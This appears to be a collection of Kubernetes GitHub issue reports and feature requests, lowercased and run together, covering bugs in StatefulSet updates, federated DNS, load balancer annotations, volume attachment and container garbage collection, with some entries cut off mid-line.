snapshotting is a feature we have discussed since last year and plan to make more progress on this feature. last summer one of our intern cindy made a proposal and implemented a simplified snapshotting feature which allows to take snapshots on gce pd volume though pvc claim's annotation. \r \r we plan to continue to work on this feature and this issue is opened to mainly gather feedback/inputs from all users. please kindly share your use case and any suggestions/feedback of this feature. thanks!

i'm working on rebasing openshift on top of kubernetes 1.6 and i just noticed that if you try to exec/attach to a pod, the cri protobuf messages for attachrequest and execrequest only allow you to specify stdin and tty. you are not able to specify stdout or stderr. the handlers for serving exec and attach streaming requests force stdout to true, and stderr to true when not using a tty. is there a reason that stdout and stderr are hard-coded and not optional?\r \r i'm able to work around this by saying i \ want\  stdout and stderr, and sending their data to  ioutil.discard , but i don't think that's a good long-term solution. i believe this is a regression and we should restore the ability to selectively enable both stdout and stderr.\r \r thoughts?\r \r @yujuhong @dchen1107 @vishh @random-liu @timstclair @smarterclayton @derekwaynecarr @liggitt @sttts @kubernetes/sig-node-bugs

follow-up from  46311.\r \r we need to install the nvidia-drivers for the test-infra ubuntu machines. ideally we would leverage a daemonset for this, but i've had trouble determining the supported methods for this use-case. \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r if a federated cluster is a multi-zone cluster, then when a federated  loadbalancer  type service is created, there is only one zone dns record created. for example:\r \r    \r   this cluster spans three zones\r ➜  kubernetes git: master  kubectl --context=hurley-beta-federation get cluster beta-us-west-2 -o json | jq '.status'\r {\r   \ conditions\ :  \r     {\r       \ lastprobetime\ : \ 2017-08-11t17:36:25z\ ,\r       \ lasttransitiontime\ : \ 2017-08-08t15:15:40z\ ,\r       \ message\ : \ /healthz responded with ok\ ,\r       \ reason\ : \ clusterready\ ,\r       \ status\ : \ true\ ,\r       \ type\ : \ ready\ \r     }\r    ,\r   \ region\ : \ us-west-2\ ,\r   \ zones\ :  \r     \ us-west-2a\ ,\r     \ us-west-2b\ ,\r     \ us-west-2c\ \r    \r }\r \r    \r \r in route53 console, i only see dns records for one of the zones   us-west-2a  . same thing for  us-east-1  federated cluster too.\r \r ! route53  https://user-images.githubusercontent.com/464299/29223594-23ce6f38-7e95-11e7-96ee-464969e84e9c.png \r \r i also see the following in  kube-dns  logs when i tried to resolve  nginx.default.k8s-beta-federation  locally:\r \r    \r i0810 20:31:17.072874       1 dns.go:636  federation: skipping record since service has no endpoint: {10.5.35.160 0 10 10  false 30 0  /skydns/local/cluster/svc/default/nginx/6466336132663632}\r i0810 20:31:17.147368       1 logs.go:41  skydns: incomplete cname chain from \ nginx.default.my-federation.svc.us-west-2b.us-west-2.mycompany.com.\ : rcode 3 is not equal to success\r    \r \r   what you expected to happen  :\r \r dns records should be created for each zone of the cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. launch a multi-zone cluster.\r 2. join this cluster to a federation.\r 3. create a federated service with  loadbalancer  type.\r \r   anything else we need to know?  :\r \r it looks like, as of v1.7.3, this behavior is  by design  https://github.com/kubernetes/kubernetes/blob/v1.7.3/federation/pkg/federation-controller/service/dns/dns.go l510 . i think we should address that  todo  and add support for multi-zone clusters.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release :  container linux by coreos 1353.7.0  ladybug  \r - kernel  e.g.  uname -a  :  linux ip-10-72-230-146.ec2.internal 4.9.24-coreos  1 smp wed apr 26 21:44:23 utc 2017 x86_64 intel r  xeon r  cpu e5-2666 v3 @ 2.90ghz genuineintel gnu/linux \r - install tools:  custom tool \r - others:\r

is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r i have a spinnaker load balancer, of type loadbalancer, usually created by an upsertloadbalancer pipeline stage.\r \r    \r ismith@spinnaker-i-019dfda7b7069eb39:~$ kubectl get svc svcrepro\r name       cluster-ip    external-ip        port s         age\r svcrepro   10.32.0.128   aebb29dc3996b...   80:31231/tcp   1m\r    \r \r by default, this is an external load balancer, and we can see that in the external-ip column; it’s truncated, but that’s an aws elb hostname, and if it were an internal elb, it’d start with internal-.\r \r per https://github.com/kubernetes/kubernetes/issues/17620, the way to create an internal elb is to add the annotation ‘service.beta.kubernetes.io/aws-load-balancer-internal: 0.0.0.0/0’.  and if i create a svc of type loadbalancer, with that annotation, i get an internal elb:\r    \r ismith@spinnaker-i-019dfda7b7069eb39:~$ kubectl get svc svcrepro-internal\r name                cluster-ip   external-ip        port s         age\r svcrepro-internal   10.32.0.98   internal-a965...   80:30961/tcp   27s\r    \r \r so.  i if i go back to svcrepro - which is an external elb - i can  kubectl edit svcrepro  and add that annotation, and then  kubectl describe svcrepro  does show new creatingloadbalancer and createdloadbalancer events.  and i would expect for it to switch  svcrepro 's underlying aws elb from external to internal, but it does not.   the same is true in reverse, going from internal elb to external. \r \r   what you expected to happen  :\r \r see above.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see above.\r \r   anything else we need to know?  :\r \r even if it's not feasible to have a change in annotation cause a recreate of the load balancer, it'd be nice if there were some sort of visible error or failure event.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.5.3:\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:40:50z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r aws\r

\r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r \r when we scale out/scale in by updating  replicas  count in a statefulset that has  updatestrategy  type as  rollingupdate , this results in rolling update of all of the replicas. \r \r \r   what you expected to happen  :\r \r we understand that when  updatestrategy  is set to  rollingupdate , any change to the  pod spec  will result in rolling update. \r \r however, scaling out/in by updating   only    replicas  field should not trigger rolling update  restarting all pods , instead it should increase or decrease replica count based on the value specified in  replicas  field.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   have any statefulset with  updatestrategy  as  rollingupdate .\r e.g: etcd helm charts may be modified to support this.\r https://github.com/kubernetes/charts/tree/master/incubator/etcd\r \r    \r diff --git a/incubator/etcd/templates/etcd-statefulset.yaml b/incubator/etcd/templates/etcd-statefulset.yaml\r index 7221078..5de2ba1 100644\r --- a/incubator/etcd/templates/etcd-statefulset.yaml\r +++ b/incubator/etcd/templates/etcd-statefulset.yaml\r @@ -32,6 +32,8 @@ metadata:\r  spec:\r    servicename: {{ template \ etcd.fullname\  . }}\r    replicas: {{ default 3 .values.replicas }}\r +  updatestrategy:\r +    type: \ rollingupdate\ \r    template:\r      metadata:\r        name: {{ template \ etcd.fullname\  . }}\r @@ -61,9 +63,6 @@ spec:\r            value: {{ default 3 .values.replicas | quote }}\r          - name: set_name\r            value: {{ template \ etcd.fullname\  . }}\r -        volumemounts:\r -        - name: datadir\r -          mountpath: /var/run/etcd\r          lifecycle:\r            prestop:\r              exec:\r @@ -194,19 +193,3 @@ spec:\r                  --initial-cluster-state new \\\r                  --data-dir /var/run/etcd/default.etcd\r    volumeclaimtemplates:\r -  - metadata:\r -      name: datadir\r -    spec:\r -      accessmodes:\r -        - \ readwriteonce\ \r -      resources:\r -        requests:\r -            upstream recommended max is 700m\r -          storage: \ {{ .values.storage }}\ \r -    {{- if .values.storageclass }}\r -    {{- if  eq \ -\  .values.storageclass  }}\r -      storageclassname: \ \ \r -    {{- else }}\r -      storageclassname: \ {{ .values.storageclass }}\ \r -    {{- end }}\r -    {{- end }}\r    \r   start with 3 replicas of statefulset.\r \r    \r helm install --set persistence.enabled=false --namespace etcd --name etcd .\r    \r \r \r   later, scale in by reducing the replica count to 2.\r \r    \r helm upgrade --set replicas=2 --set persistence.enabled=false etcd .\r    \r \r   we will observe that rolling update is done that results in restarting all of the pods replicas  of the statefulset.\r \r    \r kubectl get pods -n etcd -w -o wide\r name          ready     status    restarts   age       ip              node\r etcd-etcd-0   1/1       running   0          5m        10.244.99.127   129.213.17.15\r etcd-etcd-1   1/1       running   0          5m        10.244.98.146   129.213.123.114\r etcd-etcd-2   1/1       running   0          4m        10.244.50.188   129.213.99.116\r etcd-etcd-2   1/1       terminating   0         5m        10.244.50.188   129.213.99.116\r etcd-etcd-2   0/1       terminating   0         5m        <none>    129.213.99.116\r etcd-etcd-2   0/1       terminating   0         5m        <none>    129.213.99.116\r etcd-etcd-2   0/1       terminating   0         5m        <none>    129.213.99.116\r etcd-etcd-1   1/1       terminating   0         5m        10.244.98.146   129.213.123.114\r etcd-etcd-1   0/1       terminating   0         5m        <none>    129.213.123.114\r etcd-etcd-1   0/1       terminating   0         6m        <none>    129.213.123.114\r etcd-etcd-1   0/1       terminating   0         6m        <none>    129.213.123.114\r etcd-etcd-1   0/1       pending   0         4s        <none>    <none>\r etcd-etcd-1   0/1       pending   0         4s        <none>    129.213.123.114\r etcd-etcd-1   0/1       containercreating   0         4s        <none>    129.213.123.114\r etcd-etcd-1   1/1       running   0         5s        10.244.98.147   129.213.123.114\r etcd-etcd-0   1/1       terminating   0         6m        10.244.99.127   129.213.17.15\r etcd-etcd-0   0/1       terminating   0         6m        <none>    129.213.17.15\r etcd-etcd-0   0/1       terminating   0         6m        <none>    129.213.17.15\r etcd-etcd-0   0/1       terminating   0         6m        <none>    129.213.17.15\r etcd-etcd-0   0/1       terminating   0         6m        <none>    129.213.17.15\r etcd-etcd-0   0/1       pending   0         5s        <none>    <none>\r etcd-etcd-0   0/1       pending   0         5s        <none>    129.213.19.65\r etcd-etcd-0   0/1       containercreating   0         5s        <none>    129.213.19.65\r etcd-etcd-0   1/1       running   0         9s        10.244.17.186   129.213.19.65\r \r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-2+657f0efb48d498\ , gitcommit:\ 657f0efb48d498fc82c3e7172ff5c05b45f75736\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t21:17:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

recently profile collection has been added to our scalability tests. while running the kubemark-500 presubmit, @wojtek-t noticed from the memory allocation profile that an unusually large amount of allocations  ~10gb  were being done by  k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/errors.aggregate.error    during load test. see - https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-kubemark-500-gce/11932/artifacts/profiles/apiservermemoryprofile_load.pdf\r \r after he added some logging, i took a look at the  apiserver logs  https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/59807/pull-kubernetes-kubemark-e2e-gce-big/10/artifacts/e2e-10-kubemark-master/kube-apiserver.log  and it seems like there are a huge no. of such errors:\r \r    \r e0213 15:42:17.454988       7 errors.go:207  aaa  endpoints load-medium-15-svc  subsets 0 .addresses 0 .nodename: forbidden: cannot change nodename for 2.3.4.5 to hollow-node-xnsk2\r e0213 15:42:17.482183       7 errors.go:207  aaa  endpoints load-medium-15-svc   subsets 0 .addresses 0 .nodename: forbidden: cannot change nodename for 2.3.4.5 to hollow-node-xnsk2, subsets 0 .addresses 1 .nodename: forbidden: cannot change nodename for 2.3.4.5 to hollow-node-xbnqv \r e0213 15:42:17.549520       7 errors.go:207  aaa  endpoints load-medium-15-svc   subsets 0 .addresses 0 .nodename: forbidden: cannot change nodename for 2.3.4.5 to hollow-node-xnsk2, subsets 0 .addresses 1 .nodename: forbidden: cannot change nodename for 2.3.4.5 to hollow-node-xbnqv, subsets 0 .addresses 3 .nodename: forbidden: cannot change nodename for 2.3.4.5 to hollow-node-tx2x9 \r e0213 15:42:17.552956       7 errors.go:207  aaa  endpoints load-medium-15-svc   subsets 0 .addresses 0 .nodename: forbidden: cannot change nodename for 2.3.4.5 to hollow-node-ztq89, subsets 0 .addresses 1 .nodename: forbidden: cannot change nodename for 2.3.4.5 to hollow-node-xnsk2, subsets 0 .addresses 2 .nodename: forbidden: cannot change nodename for 2.3.4.5 to hollow-node-xbnqv, subsets 0 .addresses 4 .nodename: forbidden: cannot change nodename for 2.3.4.5 to hollow-node-tx2x9 \r    \r \r on digging up a bit i observed few things:\r - these errors seem to be arising from  put endpoints  calls made by the ep-controller\r - the first put call for every endpoints object succeeds  i.e 200 , and all the subsequent puts for it fail with 422\r - because of the above, we never go above a single backend in the endpoints object  i verified this from a live kubemark cluster \r - these error msgs grow linearly as more and more backends try to be put into the endpoints object. as a result we're seeing a cumulative o n^2  allocs for the error msgs, where n is the no. of backends in the service. \r \r @kubernetes/sig-scalability-misc @wojtek-t

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r statefulset does not seem to ever finish rolling out when checking with  kubectl rollout status sts/x :\r \r    \r $ kubectl rollout status sts/prometheus\r waiting for partitioned roll out to finish: 0 out of 2 new pods have been updated...\r    \r \r   what you expected to happen  :\r \r the command to show \ successfully rolled out\  as it does for deployments:\r \r    \r $ kubectl rollout status deploy/test\r deployment \ test\  successfully rolled out\r    \r \r we expect the command to exit as we're depending on that to move onto the next step of the script/job.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i wish i could share my manifest but it's not cleaned up at this time.\r \r   anything else we need to know?  :\r \r sts manifest snippet:\r    yml\r   updatestrategy:\r     rollingupdate:\r       partition: 0\r     type: rollingupdate\r    \r \r    \r $ kubectl get sts/prometheus\r name         desired   current   age\r prometheus   2         2         4d\r \r $ kubectl describe sts/prometheus\r name:               prometheus\r creationtimestamp:  fri, 07 sep 2018 14:51:43 -0700\r selector:           app=prometheus\r labels:             app=prometheus\r annotations:        kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ apps/v1\ ,\ kind\ :\ statefulset\ ,\ metadata\ :{\ annotations\ :{\ kubernetes.io/change-cause\ :\ kubectl apply --record=true --filename=/tmp/distr...\r                     kubernetes.io/change-cause=kubectl apply --record=true --filename=/tmp/distro.yml\r replicas:           2 desired | 2 total\r pods status:        2 running / 0 waiting / 0 succeeded / 0 failed\r    \r \r ordered output of when i  kubectl edit statefulset prometheus :\r \r    \r $ kubectl rollout status sts/prometheus &\r  1  91055\r waiting for partitioned roll out to finish: 0 out of 2 new pods have been updated...\r \r $ kubectl get pods -w &\r  2  91777\r name           ready     status    restarts   age\r prometheus-0   2/2       running   0          2m\r prometheus-1   2/2       running   0          3m\r \r   kubectl edit\r \r prometheus-1   2/2       terminating   0         3m\r waiting for partitioned roll out to finish: 0 out of 2 new pods have been updated...\r waiting for partitioned roll out to finish: 0 out of 2 new pods have been updated...\r prometheus-1   0/2       terminating   0         3m\r waiting for 1 pods to be ready...\r prometheus-1   0/2       terminating   0         3m\r prometheus-1   0/2       terminating   0         4m\r prometheus-1   0/2       terminating   0         4m\r prometheus-1   0/2       pending   0         0s\r prometheus-1   0/2       pending   0         0s\r prometheus-1   0/2       init:0/1   0         0s\r waiting for 1 pods to be ready...\r prometheus-1   0/2       podinitializing   0         12s\r prometheus-1   1/2       running   0         14s\r prometheus-1   2/2       running   0         17s\r prometheus-0   2/2       terminating   0         3m\r waiting for partitioned roll out to finish: 1 out of 2 new pods have been updated...\r prometheus-0   0/2       terminating   0         3m\r prometheus-0   0/2       terminating   0         3m\r waiting for 1 pods to be ready...\r prometheus-0   0/2       terminating   0         4m\r prometheus-0   0/2       terminating   0         4m\r prometheus-0   0/2       pending   0         0s\r prometheus-0   0/2       pending   0         0s\r prometheus-0   0/2       init:0/1   0         0s\r waiting for 1 pods to be ready...\r prometheus-0   0/2       podinitializing   0         11s\r prometheus-0   1/2       running   0         13s\r prometheus-0   2/2       running   0         15s\r waiting for partitioned roll out to finish: 0 out of 2 new pods have been updated...\r waiting for partitioned roll out to finish: 0 out of 2 new pods have been updated...\r \r $ kubectl get pod\r name           ready     status    restarts   age\r prometheus-0   2/2       running   0          33s\r prometheus-1   2/2       running   0          1m\r    \r \r as you can see, it just becomes \ waiting for partitioned roll out to finish\  when all changes have been applied.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-19t00:05:56z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.6-gke.2\ , gitcommit:\ 384b4eaa132ca9a295fcb3e5dfc74062b257e7df\ , gittreestate:\ clean\ , builddate:\ 2018-08-15t00:10:14z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gke

kubernetes master node systemd process is taking 100% cpu and kubelet is not starting up\r \r logs\r \r journalctl -u kubelet -o cat\r \r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt:4443 redir ports 443\r redirect   tcp  --  anywhere             anywhere             tcp dpt

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r there was issue with a node on openstack dnt he pods were shifting to another node where the resources were not able to attach with a prohibited multi attach error. \r \r k8s pod description::\r f6d248bed48b path /dev/vds is attached to a different instance  f08443bf-6eae-4664-95f2-cd67f7d47287 \r   warning  failedattachvolume      7m               attachdetach-controller  multi-attach error for volume \ pvc-a41e35bd-d1dc-11e8-9b2b-fa163ef89d28\  volume is already exclusively attached to one node and can't be attached to another\r   warning  failedattachvolume      2m  x2 over 3m   attachdetach-controller  attachvolume.attach failed for volume \ pvc-a41e35bd-d1dc-11e8-9b2b-fa163ef89d28\  : error occurred getting volume by id: f231dccb-1d87-4b4a-a0dc-f6d248bed48b, err: get https://10.75.236.4:13776/v3/c1a647813afc4c6e9da2aea72d22493b/volumes/f231dccb-1d87-4b4a-a0dc-f6d248bed48b: net/http: request canceled  client.timeout exceeded while awaiting headers \r   normal   successfulattachvolume  2m               attachdetach-controller  attachvolume.attach succeeded for volume \ pvc-a41e35bd-d1dc-11e8-9b2b-fa163ef89d28\ \r  warning  failedmount             2m  x3 over 6m   kubelet, ci-01-g02-w-03  unable to mount volumes for pod \ kf-apaas-0_default e2915bec-d69c-11e8-9b2b-fa163ef89d28 \ : timeout expired wait\r \r \r openstack error log ::\r 2018-10-19 15:19:34.435 159969 error oslo_messaging.rpc.server  req-d22760bd-6991-43ae-afc4-53071e5760f2 0eb07d5594af436fbafe8d77521c1c6d 6d5fda63533440b7b21b11d25f24d61c - default default  exception during message handling\r 2018-10-19 15:19:34.435 159969 error oslo_messaging.rpc.server traceback  most recent call last :\r 2018-10-19 15:19:34.435 159969 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/site-packages/oslo_messaging/rpc/server.py\ , line 133, in _process_incoming\r 2018-10-19 15:19:34.435 159969 error oslo_messaging.rpc.server     res = self.dispatcher.dispatch message \r 2018-10-19 15:19:34.435 159969 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/site-packages/oslo_messaging/rpc/dispatcher.py\ , line 150, in dispatch\r 2018-10-19 15:19:34.435 159969 error oslo_messaging.rpc.server     return self._do_dispatch endpoint, method, ctxt, args \r 2018-10-19 15:19:34.435 159969 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/site-packages/oslo_messaging/rpc/dispatcher.py\ , line 121, in _do_dispatch\r 2018-10-19 15:19:34.435 159969 error oslo_messaging.rpc.server     result = func ctxt,   new_args \r 2018-10-19 15:19:34.435 159969 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/site-packages/cinder/volume/manager.py\ , line 4514, in initialize_connection\r 2018-10-19 15:19:34.435 159969 error oslo_messaging.rpc.server     connector, volume=volume \r 2018-10-19 15:19:34.435 159969 error oslo_messaging.rpc.server   file \ /usr/lib/python2.7/site-packages/cinder/volume/manager.py\ , line 1449, in initialize_connection\r 2018-10-19 15:19:34.435 159969 error oslo_messaging.rpc.server     raise exception.volumebackendapiexception data=err_msg \r 2018-10-19 15:19:34.435 159969 error oslo_messaging.rpc.server volumebackendapiexception: bad or unexpected response from the storage volume backend api: driver initialize connection failed  error: conflict  http 409  16 - host exists .\r 2018-10-19 15:19:34.435 159969 error oslo_messaging.rpc.server\r \r \r   what you expected to happen  :\r we need a wait on detach to ensure the detach has happened before the pod is shifted to another node. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10\r - cloud provider or hardware configuration: openstack newton  https://releases.openstack.org/newton/ \r - os  e.g. from /etc/os-release : rhel7\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r  

forked from https://github.com/kubernetes/kubernetes/pull/15981  right now, we need to list all resources that we need to enable, for ex: to enable deployments and daemonsets, i will have to set  --runtime-config=extensions/v1beta1/deployments=true,extensions/v1beta1/daemonsets=true   from https://github.com/kubernetes/kubernetes/pull/15981 issuecomment-150010027  > we do not have extensions/v1beta1/all=true, but we have talked about adding it.  from https://github.com/kubernetes/kubernetes/pull/15981 issuecomment-150012559  > we should make  extensions/v1beta1=true  turn on everything, >  extensions/v1beta1=false  turn off everything, and have the absence of > mention leave all the defaults.  cc @mikedanese @lavalamp @paralin

currently when asking for a resource you can do either:  kubectl get pod nginx  or  kubectl get pod/nginx . the latter syntax is broadly applied and more readable, whereas the former has some drawbacks i've raised in https://github.com/openshift/origin/issues/5685. given the fact there's a lot of work on api grouping   20120 and others not mentioned here  i'm proposing to deprecate providing resource with a space   pod nginx   and allow only slashed approach   pod/nginx  . this should allow to simplify parsing, especially for commands allowing to provide more than one resource at a time and scriptability of kubectl.  @bgrant0607 @janetkuo @smarterclayton  wdyt @deads2k @kargakis fyi

registry in kubernetes is still addone’s and optional component at https://github.com/kubernetes/kubernetes/tree/dae5ac482861382e18b1e7b2943b1b7f333c6a2a/cluster/addons/registry, and only support docker registry protocol.  it is certain that multi container runtimes should be fully supported like rkt https://github.com/coreos/rkt  , kurma https://github.com/apcera/kurma , or even runc https://github.com/opencontainers/runc  in kubernetes. the addone’s component is already vastly outstripped by multi container runtime and multi image. when we deploy a kubernetes cluster to run, pulling images from the registry  is the most important thing for developer and administrator. if kubernetes default has a private container registry which deploy and run with master, everything will be easy.  the private container registry should have functions: 1.    support multi container registry protocols like docker registry v1 & v2, appc container  image discovery. 2.    customize the registry protocols between container registry and kubelet, peer to peer even. 3.    support multi container image format like docker image, appc aci and converts between them. 4.    customize container image extends from oci image spec https://github.com/opencontainers/image-spec  . 5.    store container image in mainstream object storage service like amazon s3, google cloud storage. 6.    support authentication and authorization for public and private in push action. 7.    web ui integration with dashboard https://github.com/kubernetes/dashboard .  cc @dchen1107 @random-liu

using k8s 1.3.5, and given the existence of a third party resource  foo , querying for all resources of type  foo  in _all namespaces_ produces the following output:      $ kubectl get foo --namespace=bar namespace        name      labels    data my-foo           <none>    {\ apiversion\ :\ foo.deis.io/v1\ ,\ description\ :\ ... your-foo         <none>    {\ apiversion\ :\ foo.deis.io/v1\ ,\ description\ :\ ... our-fu           <none>    {\ apiversion\ :\ foo.deis.io/v1\ ,\ description\ :\ ... kung-fu          <none>    {\ apiversion\ :\ foo.deis.io/v1\ ,\ description\ :\ ...      note that four column headings are shown, but data is shown for only three columns. namespaces are not displayed at all.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug report\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r lots of  dead  sandbox containers  pause image  show up in  docker ps -a .\r \r   what you expected to happen  :\r old sandbox containers to be garbage collected.\r \r   how to reproduce it  as minimally and precisely as possible   :\r no specific config. seen this a couple of times on nodes.\r \r   anything else we need to know?  :\r  output of kubelet logs: \r    \r e0829 19:33:49.707741    2373 remote_runtime.go:126  removepodsandbox \ d2a22654e52de76722e6d3548dc4817df1f4ea5a3fe0227e9db9b058bd296718\  from runtime service failed: rpc error: code = 2 desc = error response from daemon: {\ message\ :\ unable to remove filesystem for d2a22654e52de76722e6d3548dc4817df1f4ea5a3fe0227e9db9b058bd296718: remove /var/lib/docker/containers/d2a22654e52de76722e6d3548dc4817df1f4ea5a3fe0227e9db9b058bd296718/shm: device or resource busy\ }\r e0829 19:33:49.707784    2373 kuberuntime_gc.go:142  failed to remove sandbox \ d2a22654e52de76722e6d3548dc4817df1f4ea5a3fe0227e9db9b058bd296718\ : rpc error: code = 2 desc = error response from daemon: {\ message\ :\ unable to remove filesystem for d2a22654e52de76722e6d3548dc4817df1f4ea5a3fe0227e9db9b058bd296718: remove /var/lib/docker/containers/d2a22654e52de76722e6d3548dc4817df1f4ea5a3fe0227e9db9b058bd296718/shm: device or resource busy\ }\r w0829 19:33:49.708975    2373 docker_sandbox.go:263  couldn't find network status for default/scraper-391525010-dh7d2 through plugin: invalid network status for\r e0829 19:33:49.715227    2373 remote_runtime.go:126  removepodsandbox \ b5de160c643f8c5fa6a2f5f9a15ffd753b6d4870fdf3e44ab9be9eccfba9a818\  from runtime service failed: rpc error: code = 2 desc = error response from daemon: {\ message\ :\ unable to remove filesystem for b5de160c643f8c5fa6a2f5f9a15ffd753b6d4870fdf3e44ab9be9eccfba9a818: remove /var/lib/docker/containers/b5de160c643f8c5fa6a2f5f9a15ffd753b6d4870fdf3e44ab9be9eccfba9a818/shm: device or resource busy\ }\r e0829 19:33:49.715267    2373 kuberuntime_gc.go:142  failed to remove sandbox \ b5de160c643f8c5fa6a2f5f9a15ffd753b6d4870fdf3e44ab9be9eccfba9a818\ : rpc error: code = 2 desc = error response from daemon: {\ message\ :\ unable to remove filesystem for b5de160c643f8c5fa6a2f5f9a15ffd753b6d4870fdf3e44ab9be9eccfba9a818: remove /var/lib/docker/containers/b5de160c643f8c5fa6a2f5f9a15ffd753b6d4870fdf3e44ab9be9eccfba9a818/shm: device or resource busy\ }\r w0829 19:33:49.716717    2373 docker_sandbox.go:263  couldn't find network status for default/scraper-391525010-rvjx7 through plugin: invalid network status for\r e0829 19:33:49.723371    2373 remote_runtime.go:126  removepodsandbox \ c71daf72c5f3d270518459faab6b9f49c01e05ca3efe790fd63adee31d39d528\  from runtime service failed: rpc error: code = 2 desc = error response from daemon: {\ message\ :\ unable to remove filesystem for c71daf72c5f3d270518459faab6b9f49c01e05ca3efe790fd63adee31d39d528: remove /var/lib/docker/containers/c71daf72c5f3d270518459faab6b9f49c01e05ca3efe790fd63adee31d39d528/shm: device or resource busy\ }\r e0829 19:33:49.723409    2373 kuberuntime_gc.go:142  failed to remove sandbox \ c71daf72c5f3d270518459faab6b9f49c01e05ca3efe790fd63adee31d39d528\ : rpc error: code = 2 desc = error response from daemon: {\ message\ :\ unable to remove filesystem for c71daf72c5f3d270518459faab6b9f49c01e05ca3efe790fd63adee31d39d528: remove /var/lib/docker/containers/c71daf72c5f3d270518459faab6b9f49c01e05ca3efe790fd63adee31d39d528/shm: device or resource busy\ }\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , 